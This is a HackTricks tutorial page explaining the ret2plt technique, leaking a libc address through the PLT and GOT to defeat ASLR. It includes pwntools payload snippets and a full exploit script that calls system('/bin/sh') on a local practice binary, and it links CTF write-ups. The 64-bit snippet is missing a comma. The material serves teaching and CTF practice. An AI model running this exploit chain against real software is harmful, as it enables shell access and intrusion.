Ret2plt - HackTricks

# Ret2plt

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

The goal of this technique would be to leak an address from a function from the PLT to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then calculate where is the base of `libc` and calculate offsets to access other functions such as `system`.

This can be done with a `pwntools` payload such as (from here):

    # 32-bit ret2plt
    payload = flat(
        b'A' * padding,
        elf.plt['puts'],
        elf.symbols['main'],
        elf.got['puts']
    )

    # 64-bit
    payload = flat(
        b'A' * padding,
        POP_RDI,
        elf.got['puts']
        elf.plt['puts'],
        elf.symbols['main']
    )

Note how `puts` (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this entry will contain the exact address of `puts` in memory.

Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the binary calls `main` again instead of exiting (so the leaked address will continue to be valid).

> [!CAUTION] Note how in order for this to work the binary cannot be compiled with PIE or you must have found a leak to bypass PIE in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.

You can find a full example of this bypass here. This was the final exploit from that example:

    from pwn import *

    elf = context.binary = ELF('./vuln-32')
    libc = elf.libc
    p = process()

    p.recvline()

    payload = flat(
        'A' * 32,
        elf.plt['puts'],
        elf.sym['main'],
        elf.got['puts']
    )

    p.sendline(payload)

    puts_leak = u32(p.recv(4))
    p.recvlines(2)

    libc.address = puts_leak - libc.sym['puts']
    log.success(f'LIBC base: {hex(libc.address)}')

    payload = flat(
        'A' * 32,
        libc.sym['system'],
        libc.sym['exit'],
        next(libc.search(b'/bin/sh\x00'))
    )

    p.sendline(payload)

    p.interactive()

## Other examples & References

- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
  - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
  - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.